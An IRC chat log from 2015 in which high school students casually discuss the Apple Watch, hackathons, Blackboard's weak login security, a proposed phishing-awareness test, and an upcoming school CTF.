[2015-03-11T22:10:03-0400] <fwilson> well, "officially" interchangeable?
[2015-03-11T22:10:04-0400] <+awe> Yes, they are interchangeable. 
[2015-03-11T22:10:04-0400] <jwoglom> awe: what are your thoughts on how long the current gen apple watch will last?
[2015-03-11T22:10:13-0400] <jwoglom> what if they are incompatible with the next version
[2015-03-11T22:10:15-0400] <+awe> Probably 1.5 years.
[2015-03-11T22:10:19-0400] <jwoglom> that sounds like an apple move
[2015-03-11T22:10:23-0400] <+awe> Probably won't be incompatible.
[2015-03-11T22:10:26-0400] <+awe> Apple has never done that before.
[2015-03-11T22:10:48-0400] <jwoglom> "We've developed a new, easily attachable band system for the Apple Watch 2! *cough* oldwatchbandsarenolongersupported *cough*"
[2015-03-11T22:11:17-0400] <+awe> Oh, the bands may not be supported. Yeah.
[2015-03-11T22:11:21-0400] <+awe> That'd be pretty buns.
[2015-03-11T22:11:40-0400] <fwilson> but it seems like something apple would do
[2015-03-11T22:11:54-0400] <jwoglom> it does
[2015-03-11T22:11:59-0400] <+awe> It's possible, but I don't foresee it in a gen 2 product.
[2015-03-11T22:12:15-0400] <+awe> It took them a while to change charging standards, for example.
[2015-03-11T22:13:07-0400] <jwoglom> how does the apple watch charge?
[2015-03-11T22:13:12-0400] <jwoglom> it doesn't use qi, does it?
[2015-03-11T22:13:40-0400] <fwilson> nope!
[2015-03-11T22:13:54-0400] <+awe> It's a wireless magsafe charger.
[2015-03-11T22:14:00-0400] <fwilson> looks like a circly thing that attaches to the watch bottom
[2015-03-11T22:14:01-0400] <+awe> It snaps onto the bottom.
[2015-03-11T22:14:12-0400] <jwoglom> are there pins that have to line up?
[2015-03-11T22:14:22-0400] <+awe> No.
[2015-03-11T22:14:25-0400] <+awe> Wireless.
[2015-03-11T22:14:25-0400] <fwilson> apparently it uses magnets or something so you don't have to line them up exactly
[2015-03-11T22:14:26-0400] <+awe> It's inductive.
[2015-03-11T22:15:02-0400] <+awe> You basically just hold it close, it'll snap on, and charge via induction.
[2015-03-11T22:15:03-0400] <jwoglom> https://www.google.com/search?q=site%3Abgr.com+watch
[2015-03-11T22:15:06-0400] <jwoglom> bgr, pls.
[2015-03-11T22:15:10-0400] <fwilson> one of the problems i have with the apple watch is the practical inability to do sleep tracking
[2015-03-11T22:15:39-0400] <+awe> Because of the battery life?
[2015-03-11T22:15:59-0400] <fwilson> yup, and the design philosophy of "you should be wearing this all day"
[2015-03-11T22:16:12-0400] <fwilson> are there any estimates of how long it takes to charge?
[2015-03-11T22:16:51-0400] <+awe> None that I've seen.
[2015-03-11T22:17:05-0400] <fwilson> :\
[2015-03-11T22:17:18-0400] <jwoglom> "RELATED: What happens with Apple Watch once the battery runs out"
[2015-03-11T22:17:36-0400] <jwoglom> it uses the ghost of Steve Jobs' ego to recharge itself for another 30 minutes!
[2015-03-11T22:17:50-0400] <failedxyz> lol
[2015-03-11T22:18:16-0400] <fwilson> i guess i really just don't like the design philosophy, the whole computer on your wrist thing
[2015-03-11T22:18:29-0400] <fwilson> but eh, to each his/her own
[2015-03-11T22:18:39-0400] <jwoglom> i like being able to see notifications on my gwatch
[2015-03-11T22:18:44-0400] <jwoglom> i basically use it for nothing more than that
[2015-03-11T22:18:58-0400] Mode is +nt
[2015-03-11T22:19:05-0400] <jwoglom> but i really can't see a time that i'd want to hit contacts and manually navigate through the list to call or text someone
[2015-03-11T22:19:08-0400] <fwilson> i wrote a bell schedule app for pebble, that was incredibly helpful during the weird scheduling
[2015-03-11T22:19:26-0400] <jwoglom> i was trying to do that on android but ugh java programming kill me
[2015-03-11T22:19:29-0400] <fwilson> lol
[2015-03-11T22:19:30-0400] <fwilson> pebble.js
[2015-03-11T22:19:33-0400] <fwilson> entire app in 23 lines
[2015-03-11T22:19:52-0400] <jwoglom> i spent like an hour trying to add wearable support to my android bellschedule app in android studio
[2015-03-11T22:19:57-0400] <jwoglom> i still didn't figure it out
[2015-03-11T22:20:00-0400] <fwilson> kek
[2015-03-11T22:20:14-0400] <jwoglom> also that app still randomly crashes. why i dunno
[2015-03-11T22:20:33-0400] <fwilson> kek.
[2015-03-11T22:20:41-0400] <jwoglom> .kek
[2015-03-11T22:21:05-0400] <fwilson> i'm fairly certain bgr exists solely to contradict my opinions
[2015-03-11T22:22:20-0400] <jwoglom> well yeah
[2015-03-11T22:22:46-0400] <jwoglom> that and fox news, for me at least, i suppose :P
[2015-03-11T22:23:15-0400] <fwilson> lol
[2015-03-11T22:23:30-0400] <+awe> I also just want notifications really.
[2015-03-11T22:23:31-0400] <fwilson> i gave up on politics a while ago ¯\_(ツ)_/¯
[2015-03-11T22:23:47-0400] <+awe> But it also has to show the time and be fashionable.
[2015-03-11T22:23:58-0400] <+awe> How can you give up on politics?
[2015-03-11T22:24:14-0400] <jwoglom> i miss colbert :'(
[2015-03-11T22:24:22-0400] <alokpathy> :'(
[2015-03-11T22:24:23-0400] <jwoglom> and jon stewart is leaving too, noooooooooooooo :/
[2015-03-11T22:24:27-0400] <fwilson> ¯\_(ツ)_/¯
[2015-03-11T22:24:34-0400] Use: '/moti [command]'. Commands: fistu, angel, angry, angry2, angry3, cheers, darude, doit, doitrev, doit2, dongers, frown, fusro, gary, give, glare, happy, happy2, happy3, hug, idc, leface, love, orly, orly2, ridic, shock, shock2, shrug, shrug2, shrug3, smile, sorry, sorry2, wave, wave2, wink, wink2, yay, zzz.
[2015-03-11T22:24:37-0400] <jwoglom> at least there's oliver, but that's only once a week
[2015-03-11T22:24:40-0400] <alokpathy> Yeah
[2015-03-11T22:24:41-0400] <+awe> ┐('～`；)┌
[2015-03-11T22:24:46-0400] <+awe> ¯\_(ツ)_/¯
[2015-03-11T22:24:48-0400] <+awe> ┐('～`)┌
[2015-03-11T22:24:53-0400] <fwilson> ಠ_ಠ
[2015-03-11T22:24:56-0400] <fwilson> ¯\_(ツ)_/¯
[2015-03-11T22:24:58-0400] <+awe> ┗(-_- )┓┗(-_-)┛┏( -_-)┛ ┗(-_- )┓┗(-_-)┛┏( -_-)┛
[2015-03-11T22:24:59-0400] <alokpathy> Lol, we laughed at this so much during our senior class trip https://www.youtube.com/watch?v=wRRsXxE1KVY
[2015-03-11T22:25:04-0400] <+awe> ᕕ( ᐛ )ᕗ
[2015-03-11T22:25:16-0400] <jwoglom> ᕙ༼ຈل͜ຈ༽ᕗ
[2015-03-11T22:25:21-0400] <+awe> ヽ༼ຈل͜ຈ༽ﾉ raise your dongers ヽ༼ຈل͜ຈ༽ﾉ
[2015-03-11T22:25:30-0400] <fwilson> no
[2015-03-11T22:25:35-0400] <+awe> ( ͡° ͜ʖ ͡°)
[2015-03-11T22:25:36-0400] <jwoglom> ( ͡° ͜ʖ ͡°) 
[2015-03-11T22:25:40-0400] <+awe> ninja'd
[2015-03-11T22:27:02-0400] <jwoglom> alokpathy: lol
[2015-03-11T22:27:04-0400] <jwoglom> that's great
[2015-03-11T22:27:13-0400] <alokpathy> The marine corps part
[2015-03-11T22:27:15-0400] <alokpathy> xD
[2015-03-11T22:27:25-0400] <jwoglom> i'm only 2 minutes in ok :P
[2015-03-11T22:27:31-0400] <alokpathy> O okie
[2015-03-11T22:27:36-0400] <alokpathy> You'll get to it soon :P
[2015-03-11T22:28:37-0400] <jwoglom> hahahahahaha
[2015-03-11T22:28:54-0400] <alokpathy> I see you got to it xD
[2015-03-11T22:47:07-0400] <+awe> (>^^)> <(^^<)
[2015-03-11T22:47:11-0400] <+awe> {◕ ◡ ◕}
[2015-03-11T22:47:16-0400] <+awe> <o/
[2015-03-11T22:47:19-0400] <+awe> .o/
[2015-03-11T22:50:57-0400] <Hyper> pls
[2015-03-11T22:50:58-0400] <Hyper> pls
[2015-03-11T22:51:05-0400] <+awe> Hyper: ?
[2015-03-11T22:51:10-0400] <Hyper> 2 many emotes
[2015-03-11T22:51:14-0400] <+awe> ಠ╭╮ಠ
[2015-03-11T22:51:22-0400] <+awe> fwilson: started it.
[2015-03-11T22:51:30-0400] <Hyper> awe: so they posted the "bonus assignment" for my CS course
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[2015-03-11T22:51:37-0400] <+awe> What is it?
[2015-03-11T22:51:40-0400] <Hyper> it's literally "Can you shot DFS and BFS?"
[2015-03-11T22:51:47-0400] <+awe> lol
[2015-03-11T22:51:56-0400] <+awe> We had to do that in data structures.
[2015-03-11T22:52:19-0400] <alokpathy> shot?
[2015-03-11T22:52:25-0400] <+awe> As in "can you shot web?"
[2015-03-11T22:52:31-0400] <+awe> In other words: can you implement DFS and BFS?
[2015-03-11T22:52:37-0400] <jwoglom> people say that?
[2015-03-11T22:52:43-0400] <Hyper> awe: https://www.dropbox.com/s/w1ddzjne71hjy7n/Bonus%2BAssignment-Spring-2015.pdf?dl=0
[2015-03-11T22:52:57-0400] <Hyper> yes, people do
[2015-03-11T22:53:25-0400] <alokpathy> Oh, the bonus problem on our algo pset was pretty cool
[2015-03-11T22:53:40-0400] <Hyper> If I write it using A* do I get super bonus points?
[2015-03-11T22:53:43-0400] <+awe> lol
[2015-03-11T22:53:44-0400] <+awe> no
[2015-03-11T22:53:47-0400] <Hyper> pls
[2015-03-11T22:53:49-0400] <+awe> You get an F for not following the instructions
[2015-03-11T22:53:53-0400] <alokpathy> Oh gg
[2015-03-11T22:53:55-0400] <alokpathy> x
[2015-03-11T22:53:57-0400] <alokpathy> dxD
[2015-03-11T22:54:08-0400] <Hyper> The assignment doesn't specifically preclude using A*
[2015-03-11T22:55:04-0400] <Hyper> I'm pretty sure you can implement A* with a queue and a stack if you really wanted to
[2015-03-11T22:57:04-0400] <Hyper> I have like 3 weeks to do this, I could really spend some time on it and go full ham
[2015-03-11T23:05:05-0400] <Tamini> rip
[2015-03-11T23:05:49-0400] <Tamini> what is a sleep schedule and how does one acquire a real one
[2015-03-11T23:06:08-0400] <Hyper> Tamini: step one is to go to sleep early
[2015-03-11T23:06:17-0400] <Hyper> step two is to wake up at a time
[2015-03-11T23:06:20-0400] <Tamini> but I don't WANT to do that! :P
[2015-03-11T23:06:30-0400] <jwoglom> Tamini: more caffiene?
[2015-03-11T23:07:01-0400] <grantwu> ^
[2015-03-11T23:07:14-0400] <Tamini> :P
[2015-03-11T23:07:42-0400] <jwoglom> also awe: fwilson: https://www.youtube.com/watch?v=KHZ8ek-6ccc
[2015-03-11T23:19:40-0400] <grantwu> I don't really drink caffeine meh...
[2015-03-11T23:19:42-0400] <grantwu> Makes me jittery
[2015-03-11T23:20:38-0400] <Tamini> i love being jittery
[2015-03-11T23:20:38-0400] <Tamini> :P
[2015-03-11T23:21:00-0400] <grantwu> ...
[2015-03-11T23:21:00-0400] <jwoglom> isn't that not too good for you? :P
[2015-03-11T23:21:24-0400] <Tamini> it makes me feel alive.
[2015-03-11T23:21:37-0400] <Tamini> fff
[2015-03-11T23:21:48-0400] <Tamini> i just tried to log in to intranet to access blackboard
[2015-03-11T23:21:50-0400] <Tamini> :(
[2015-03-11T23:21:59-0400] <jwoglom> maybe you should be actually alive then, instead of just feeling alive :P
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[2015-03-11T23:23:57-0400] <assface> hola mein amigos
[2015-03-11T23:27:45-0400] <alokpathy> Holla
[2015-03-11T23:28:02-0400] <alokpathy> Tamini: You guys use Blackboard? o.O
[2015-03-11T23:28:10-0400] <jwoglom> FCPS does
[2015-03-11T23:28:11-0400] <grantwu> Blackboard is so shit
[2015-03-11T23:28:19-0400] <jwoglom> it's a wonderful, wonderful application
[2015-03-11T23:28:29-0400] <jwoglom> even just the login page
[2015-03-11T23:28:43-0400] <jwoglom> no SSL, uses base64 "encryption" to send the password over post
[2015-03-11T23:29:08-0400] <grantwu> hrm
[2015-03-11T23:29:15-0400] <grantwu> Good thing we integrated SSO...
[2015-03-11T23:29:31-0400] <jwoglom> apparently FCPS is planning to integrate some kind of sso next year to blackboard
[2015-03-11T23:29:49-0400] <jwoglom> they'll probably screw it up somehow, should be fun to watch
[2015-03-11T23:29:59-0400] <grantwu> What is FCPS?
[2015-03-11T23:30:08-0400] <jwoglom> fairfax county public schools
[2015-03-11T23:30:17-0400] <jwoglom> AKA the county makes us use blackboard, not TJ, everyone here hates it
[2015-03-11T23:30:22-0400] <alokpathy> Fopato Cotato Potato Sotato
[2015-03-11T23:30:46-0400] <grantwu> ._.
[2015-03-11T23:30:48-0400] <grantwu> alok pls
[2015-03-11T23:30:56-0400] <alokpathy> I was close.
[2015-03-11T23:30:57-0400] <jwoglom> there are a bunch of FCPSes in the dc area
[2015-03-11T23:31:04-0400] <jwoglom> but we own fcps.edu so we are *the* fcps :P
[2015-03-11T23:31:22-0400] <alokpathy> But do you own fcps.io?
[2015-03-11T23:31:35-0400] <grantwu> merp.
[2015-03-11T23:32:27-0400] <jwoglom> >Domain fcps.io is available for purchase
[2015-03-11T23:32:29-0400] <jwoglom> Please visit http://www.nic.io/ for more information
[2015-03-11T23:32:32-0400] <jwoglom> well, i *could* :P
[2015-03-11T23:32:42-0400] <Tamini> well
[2015-03-11T23:32:46-0400] <alokpathy> Worth :p
[2015-03-11T23:32:48-0400] <Tamini> but you couldnt host anything fun on it
[2015-03-11T23:32:51-0400] <Tamini> without getting in trouble :P
[2015-03-11T23:33:01-0400] <bob_twinkles> only if they catch you =D
[2015-03-11T23:33:22-0400] <jwoglom> Tamini: eh, i could probably get away with putting stuff there :P
[2015-03-11T23:33:28-0400] <jwoglom> there are plenty of other fcpses
[2015-03-11T23:34:05-0400] <grantwu> I think I'll start my homework at 12...
[2015-03-11T23:34:08-0400] <jwoglom> speaking of that, we (the sysadmins) were considering purchasing a tjhsst.edu phishing domain
[2015-03-11T23:34:12-0400] <jwoglom> something like tjhsstedu.com
[2015-03-11T23:34:16-0400] <jwoglom> sadly morasca didn't like the idea
[2015-03-11T23:34:23-0400] <alokpathy> GG
[2015-03-11T23:34:30-0400] <grantwu> A phishing domain?
[2015-03-11T23:34:43-0400] <jwoglom> like, we were going to buy that domain, put up a fake intranet login page
[2015-03-11T23:34:51-0400] <jwoglom> and then mass send out some emails and see who clicked it
[2015-03-11T23:34:51-0400] <alokpathy> It's okay. You guys have my approval.
[2015-03-11T23:34:54-0400] <grantwu> ...
[2015-03-11T23:35:02-0400] <alokpathy> jwoglom: And steal their login info? :P
[2015-03-11T23:35:09-0400] <jwoglom> alokpathy: no.. :P
[2015-03-11T23:35:19-0400] <alokpathy> hue
[2015-03-11T23:35:24-0400] <jwoglom> it was going to show a "you got phished, don't do this pls" message
[2015-03-11T23:35:33-0400] <jwoglom> and the client side wouldn't actually let you submit the form
[2015-03-11T23:35:33-0400] <alokpathy> Sure it was :P
[2015-03-11T23:35:40-0400] <jwoglom> fwilson: ^
[2015-03-11T23:35:58-0400] <jwoglom> sdamashek wrote some code
[2015-03-11T23:36:08-0400] <jwoglom> i think he disappeared in here a couple months ago
[2015-03-11T23:36:12-0400] <alokpathy> He left
[2015-03-11T23:36:17-0400] <alokpathy> RIP sdamashek
[2015-03-11T23:36:34-0400] <alokpathy> Rest in pieces
[2015-03-11T23:36:52-0400] <alokpathy> I'
[2015-03-11T23:36:56-0400] <alokpathy> m a bit loopy .-.
[2015-03-11T23:37:17-0400] <grantwu> alok you're always loopy
[2015-03-11T23:37:32-0400] <alokpathy> wat
[2015-03-11T23:37:34-0400] <alokpathy> nu
[2015-03-11T23:37:40-0400] <Tamini> sdamasam
[2015-03-11T23:37:44-0400] <Tamini> said he'd return if someone remidned him
[2015-03-11T23:38:04-0400] <alokpathy> I can only communicate with him if he's on this channel, though.
[2015-03-11T23:38:07-0400] <alokpathy> The Catch-22.
[2015-03-11T23:38:22-0400] <jwoglom> Tamini: i'll ask him if you want, lol
[2015-03-11T23:38:29-0400] <jwoglom> considering fox is in here now, why not
[2015-03-11T23:38:30-0400] <Tamini> you could stalk him on facebook
[2015-03-11T23:38:36-0400] <Tamini> like you stalk ALL my other friends :p
[2015-03-11T23:38:42-0400] <alokpathy> Idk his name XD
[2015-03-11T23:38:51-0400] <jwoglom> well first initial is s
[2015-03-11T23:38:54-0400] <jwoglom> last name damashek
[2015-03-11T23:38:55-0400] <alokpathy> WOW
[2015-03-11T23:38:58-0400] <alokpathy> yeah
[2015-03-11T23:38:59-0400] <alokpathy> I just looked up
[2015-03-11T23:39:05-0400] <alokpathy> sdamashek for the lolz
[2015-03-11T23:39:07-0400] <alokpathy> and I got it
[2015-03-11T23:39:24-0400] <alokpathy> I did not expect this.
[2015-03-11T23:39:30-0400] <jwoglom> speaking of sdamashek on the internet
[2015-03-11T23:39:32-0400] <jwoglom> http://sdamashek.me/ayy
[2015-03-11T23:39:59-0400] <alokpathy> o
[2015-03-11T23:40:02-0400] <alokpathy> XD
[2015-03-11T23:40:04-0400] <alokpathy> Should I friend him? :P
[2015-03-11T23:40:12-0400] <jwoglom> if you want to appear as a stalker :P
[2015-03-11T23:40:19-0400] <jwoglom> quick, do it now, before he joins again
[2015-03-11T23:40:26-0400] <jwoglom> then it's even creepier
[2015-03-11T23:40:39-0400] <alokpathy> I'm conflicted now LOL
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[2015-03-11T23:41:06-0400] <samuel> hello
[2015-03-11T23:41:06-0400] <jwoglom> ayy
[2015-03-11T23:41:12-0400] <+awe> samuel: hi! :D
[2015-03-11T23:41:14-0400] samuel is now known as sdamashek
[2015-03-11T23:41:15-0400] <+awe> I missed you.
[2015-03-11T23:41:17-0400] <+awe> <3
[2015-03-11T23:41:27-0400] <alokpathy> sdamashek: Welcome back :D
[2015-03-11T23:41:36-0400] <+awe> I also like your website.
[2015-03-11T23:41:49-0400] <alokpathy> We were just talking about how it'd be weird if I friended you on FB without informing you.
[2015-03-11T23:41:50-0400] <+awe> I have a soft spot for "code" sites.
[2015-03-11T23:41:54-0400] <sdamashek> awe: <3
[2015-03-11T23:42:14-0400] <jwoglom> oh man, sdamashek's cheating on andrew!!1!
[2015-03-11T23:42:21-0400] <sdamashek> lol
[2015-03-11T23:42:22-0400] <grantwu> :O
[2015-03-11T23:42:24-0400] <Tamini> ayyyy
[2015-03-11T23:42:29-0400] <grantwu> I want to hear about this drama!
[2015-03-11T23:43:03-0400] <jwoglom> story time? :P
[2015-03-11T23:43:03-0400] <+awe> I'm so sad that nobody I know is going to HackUMass :(
[2015-03-11T23:43:12-0400] <sdamashek> it's just an ongoing joke that I have a gay relationship with the sponsor of the sysadmin program
[2015-03-11T23:43:20-0400] <sdamashek> I'm not really sure why
[2015-03-11T23:43:33-0400] <alokpathy> awe: Did I not get in? :(
[2015-03-11T23:43:34-0400] <grantwu> o.O
[2015-03-11T23:43:41-0400] <sdamashek> alokpathy: also thanks
[2015-03-11T23:43:45-0400] <+awe> Well, you haven't gotten any emails, right?
[2015-03-11T23:44:08-0400] <alokpathy> Yeah...
[2015-03-11T23:44:13-0400] <alokpathy> Did you email them?
[2015-03-11T23:44:33-0400] <+awe> Nah.
[2015-03-11T23:44:36-0400] <+awe> I guess I still can.
[2015-03-11T23:44:47-0400] <alokpathy> Oh, I thought you already bugged them about it :P
[2015-03-11T23:45:14-0400] <grantwu> I've been rejected from every hackathon I've applied to :C
[2015-03-11T23:45:20-0400] <sdamashek> aww
[2015-03-11T23:45:21-0400] <grantwu> I've only been to hackathons that didn't require applications...
[2015-03-11T23:45:31-0400] <sdamashek> and those don't help you get in to the ones that do?
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[2015-03-11T23:46:23-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-11T23:38:54-0400] <jwoglom> last name damashek
[2015-03-11T23:38:55-0400] <alokpathy> WOW
[2015-03-11T23:38:58-0400] <alokpathy> yeah
[2015-03-11T23:39:00-0400] <alokpathy> I just looked up
[2015-03-11T23:39:05-0400] <alokpathy> sdamashek for the lolz
[2015-03-11T23:39:07-0400] <alokpathy> and I got it
[2015-03-11T23:39:24-0400] <alokpathy> I did not expect this.
[2015-03-11T23:39:30-0400] <jwoglom> speaking of sdamashek on the internet
[2015-03-11T23:39:32-0400] <jwoglom> http://sdamashek.me/ayy
[2015-03-11T23:39:59-0400] <alokpathy> o
[2015-03-11T23:40:01-0400] <alokpathy> XD
[2015-03-11T23:40:04-0400] <alokpathy> Should I friend him? :P
[2015-03-11T23:40:12-0400] <jwoglom> if you want to appear as a stalker :P
[2015-03-11T23:40:19-0400] <jwoglom> quick, do it now, before he joins again
[2015-03-11T23:40:26-0400] <jwoglom> then it's even creepier
[2015-03-11T23:40:39-0400] <alokpathy> I'm conflicted now LOL
[2015-03-11T23:41:06-0400] <samuel> hello
[2015-03-11T23:41:06-0400] <jwoglom> ayy
[2015-03-11T23:41:12-0400] <+awe> samuel: hi! :D
[2015-03-11T23:41:15-0400] <+awe> I missed you.
[2015-03-11T23:41:17-0400] <+awe> <3
[2015-03-11T23:41:27-0400] <alokpathy> sdamashek: Welcome back :D
[2015-03-11T23:41:36-0400] <+awe> I also like your website.
[2015-03-11T23:41:49-0400] <alokpathy> We were just talking about how it'd be weird if I friended you on FB without informing you.
[2015-03-11T23:41:50-0400] <+awe> I have a soft spot for "code" sites.
[2015-03-11T23:41:54-0400] <sdamashek> awe: <3
[2015-03-11T23:42:14-0400] <jwoglom> oh man, sdamashek's cheating on andrew!!1!
[2015-03-11T23:42:21-0400] <sdamashek> lol
[2015-03-11T23:42:22-0400] <grantwu> :O
[2015-03-11T23:42:24-0400] <Tamini> ayyyy
[2015-03-11T23:42:29-0400] <grantwu> I want to hear about this drama!
[2015-03-11T23:43:03-0400] <jwoglom> story time? :P
[2015-03-11T23:43:04-0400] <+awe> I'm so sad that nobody I know is going to HackUMass :(
[2015-03-11T23:43:12-0400] <sdamashek> it's just an ongoing joke that I have a gay relationship with the sponsor of the sysadmin program
[2015-03-11T23:43:20-0400] <sdamashek> I'm not really sure why
[2015-03-11T23:43:33-0400] <alokpathy> awe: Did I not get in? :(
[2015-03-11T23:43:34-0400] <grantwu> o.O
[2015-03-11T23:43:41-0400] <sdamashek> alokpathy: also thanks
[2015-03-11T23:43:46-0400] <+awe> Well, you haven't gotten any emails, right?
[2015-03-11T23:44:09-0400] <alokpathy> Yeah...
[2015-03-11T23:44:13-0400] <alokpathy> Did you email them?
[2015-03-11T23:44:33-0400] <+awe> Nah.
[2015-03-11T23:44:36-0400] <+awe> I guess I still can.
[2015-03-11T23:44:47-0400] <alokpathy> Oh, I thought you already bugged them about it :P
[2015-03-11T23:45:14-0400] <grantwu> I've been rejected from every hackathon I've applied to :C
[2015-03-11T23:45:21-0400] <sdamashek> aww
[2015-03-11T23:45:21-0400] <grantwu> I've only been to hackathons that didn't require applications...
[2015-03-11T23:45:31-0400] <sdamashek> and those don't help you get in to the ones that do?
[2015-03-11T23:45:58-0400] <grantwu> I haven't been to very many, I guess, and my hackathon projects tend to not work
[2015-03-11T23:46:07-0400] <Hyper> lol
[2015-03-11T23:46:24-0400] Mode is +nt
[2015-03-11T23:46:36-0400] <Hyper> awe: well they never sent us anything about it so /o\
[2015-03-11T23:46:43-0400] <+awe> grantwu: hackathons are kind of lame IMO.
[2015-03-11T23:46:47-0400] <Hyper> D:
[2015-03-11T23:46:48-0400] <+awe> grantwu: I use them as an excuse to hang out with people.
[2015-03-11T23:46:51-0400] <nezorg> who is sdamashek again?
[2015-03-11T23:46:52-0400] <Hyper> well yeah
[2015-03-11T23:46:53-0400] <+awe> Like I got to meet Hyper 
[2015-03-11T23:46:59-0400] <Hyper> I love meeting people at hackathons
[2015-03-11T23:47:01-0400] <+awe> Which was 10/10 the coolest part of PennApps.
[2015-03-11T23:47:02-0400] <sdamashek> awe: well yeah, that's mostly what I do too
[2015-03-11T23:47:07-0400] <Hyper> at hackny this weekend I didn't even make anything srs
[2015-03-11T23:47:12-0400] <sdamashek> the actual winning part is meh
[2015-03-11T23:47:12-0400] <Hyper> I just met people
[2015-03-11T23:47:24-0400] <+awe> sdamashek: we got into top 30 at PennApps which was cool.
[2015-03-11T23:47:30-0400] <sdamashek> just like, have fun and drink/eat unhealthy stuff
[2015-03-11T23:47:34-0400] <sdamashek> awe: oh nice
[2015-03-11T23:47:38-0400] <Hyper> aww I was the best part of pennapps for awe!
[2015-03-11T23:47:40-0400] <sdamashek> awe: I was there too
[2015-03-11T23:47:45-0400] <Hyper> am I cool now?
[2015-03-11T23:47:51-0400] <sdamashek> should have found you
[2015-03-11T23:47:55-0400] <+awe> But it just made me upset because the top 10 had three people who did totally trivial things but added an oculus rift.
[2015-03-11T23:47:59-0400] <sdamashek> nezorg: I was in here before but was too lazy to rejoin
[2015-03-11T23:48:03-0400] <+awe> sdamashek: yeah, I wish I had known. That would've been cool.
[2015-03-11T23:48:16-0400] <Hyper> awe: at the big ones you have to be gimmicky, unfortunately
[2015-03-11T23:48:18-0400] <+awe> Tamini: didn't tell me you were there.
[2015-03-11T23:48:21-0400] <+awe> Hyper: I know, I hate it.
[2015-03-11T23:48:32-0400] <Hyper> it's unfortunate
[2015-03-11T23:48:37-0400] <nezorg> sdamashek: okay but who are you? :P
[2015-03-11T23:48:43-0400] <nezorg> ik you're related to tj
[2015-03-11T23:48:44-0400] <+awe> nezorg: He's cool. I vouch for him.
[2015-03-11T23:48:46-0400] <sdamashek> samuel damashek, I go to tj
[2015-03-11T23:48:50-0400] <nezorg> awe: well ik that
[2015-03-11T23:48:55-0400] <nezorg> but i just want to know who he is! :P
[2015-03-11T23:48:57-0400] <+awe> lol
[2015-03-11T23:48:58-0400] <Hyper> but the solution is to go to small ones, and meet ALL the people there (because if everyone is in 1 or 2 rooms it's really easy!)
[2015-03-11T23:48:59-0400] <sdamashek> I'm the co-lead of infrastructure for the sysadmin program
[2015-03-11T23:49:10-0400] <Tamini> wait wait
[2015-03-11T23:49:12-0400] <Tamini> i was pinged
[2015-03-11T23:49:13-0400] <assface> who's this commie
[2015-03-11T23:49:14-0400] <Tamini> and loool
[2015-03-11T23:49:17-0400] <alokpathy> Are you trying to get nezorg to hire you? xD
[2015-03-11T23:49:20-0400] <Tamini> look at sdamashek!
[2015-03-11T23:49:22-0400] <sdamashek> lol no
[2015-03-11T23:49:24-0400] <Tamini> he's cool enough to have a title!
[2015-03-11T23:49:25-0400] <Tamini> <3
[2015-03-11T23:49:27-0400] <jwoglom> he's one of the only few people who do anything :P
[2015-03-11T23:49:33-0400] <jwoglom> sdamashek and fwilson
[2015-03-11T23:49:33-0400] <nezorg> i don't have a title :(
[2015-03-11T23:49:40-0400] <+awe> Hyper: HackUMass is going to be ~500.
[2015-03-11T23:49:40-0400] <assface> titles are for plebs
[2015-03-11T23:49:41-0400] <Tamini> nezorg: I snapchatted a picture of the back of sdamashek's head to you earlier today
[2015-03-11T23:49:43-0400] <nezorg> well, maybe "research assistant"
[2015-03-11T23:49:46-0400] <nezorg> Tamini: ...ah
[2015-03-11T23:49:46-0400] <sdamashek> Tamini: you did?
[2015-03-11T23:49:52-0400] <jwoglom> Tamini: well, that's not creepy sounding at all
[2015-03-11T23:49:52-0400] <Hyper> awe: I consider that on the "slightly too big" side :(
[2015-03-11T23:50:06-0400] <sdamashek> ( ͡° ͜ʖ ͡°)
[2015-03-11T23:50:07-0400] <+awe> The team that wants to organize it next year wants to target 200-300 people.
[2015-03-11T23:50:09-0400] <Hyper> 300 is my "This is pretty much as big as it's gonna get and be comfortable" point
[2015-03-11T23:50:23-0400] <sdamashek> Tamini: when was this
[2015-03-11T23:50:25-0400] <assface> split it up into two competing factions
[2015-03-11T23:50:26-0400] <Hyper> and it really depends on what the location is like
[2015-03-11T23:50:31-0400] <assface> and have them fight to the death
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[2015-03-11T23:50:58-0400] <Tamini> sdamashek: um
[2015-03-11T23:51:03-0400] <Tamini> you saw me take a picture of the admin corner
[2015-03-11T23:51:05-0400] <+awe> Hyper: location is a basketball stadium.
[2015-03-11T23:51:08-0400] <Tamini> and you commented on me getting you in the shot
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[2015-03-11T23:59:14-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-11T23:55:19-0400] <Hyper> CodeDay charges like $20 per person or something
[2015-03-11T23:55:21-0400] <Hyper> it's weird
[2015-03-11T23:55:22-0400] <sdamashek> that's even worse though
[2015-03-11T23:55:26-0400] <assface> im like 3.6^68129 gigalightyears away from NYC
[2015-03-11T23:55:33-0400] <Tamini> so
[2015-03-11T23:55:34-0400] <sdamashek> either charge or not charge
[2015-03-11T23:55:35-0400] <Hyper> assface: that's quite a lot
[2015-03-11T23:55:36-0400] <sdamashek> preferably the latter
[2015-03-11T23:55:37-0400] <Tamini> you're off the planet? o-o
[2015-03-11T23:55:45-0400] <Hyper> I'm impressed more than anything, tbh
[2015-03-11T23:55:47-0400] <assface> yes
[2015-03-11T23:55:48-0400] <grantwu> What I don't like is how so many prizes are now sponsor prizes
[2015-03-11T23:55:51-0400] <Hyper> how'd you get so far
[2015-03-11T23:55:53-0400] <nezorg> assface: pretty sure that's larger than the radius of the universe
[2015-03-11T23:55:57-0400] <sdamashek> jwoglom: I think they ran out of sponsors because they are horribly organized lol
[2015-03-11T23:56:02-0400] <assface> nexorg: naaah
[2015-03-11T23:56:04-0400] <Hyper> grantwu: prizes in general suck a lot
[2015-03-11T23:56:05-0400] <nezorg> assface: how is your internet so good?
[2015-03-11T23:56:07-0400] <grantwu> No, I don't want to develop using your random API
[2015-03-11T23:56:07-0400] <jwoglom> sdamashek: lol. that makes sense
[2015-03-11T23:56:12-0400] <jwoglom> pilotdc was so badly run...
[2015-03-11T23:56:24-0400] <Hyper> because it turns from "WOW I HAD FUN" to "ugh I didn't get a prize" really quickly
[2015-03-11T23:56:27-0400] <sdamashek> tjctf is gonna have like $100/person for the top 3 winning teams
[2015-03-11T23:56:43-0400] <sdamashek> because FCPS won't allow us to pay out more than that :>
[2015-03-11T23:56:48-0400] <assface> nezorg: this message is 1000000000*3.6^68129 years old, I just time travel back in time to send the messages
[2015-03-11T23:56:49-0400] <nezorg> sdamashek: the plan for croissantf is/was to buy croissants for the winning teams from bakeries near them
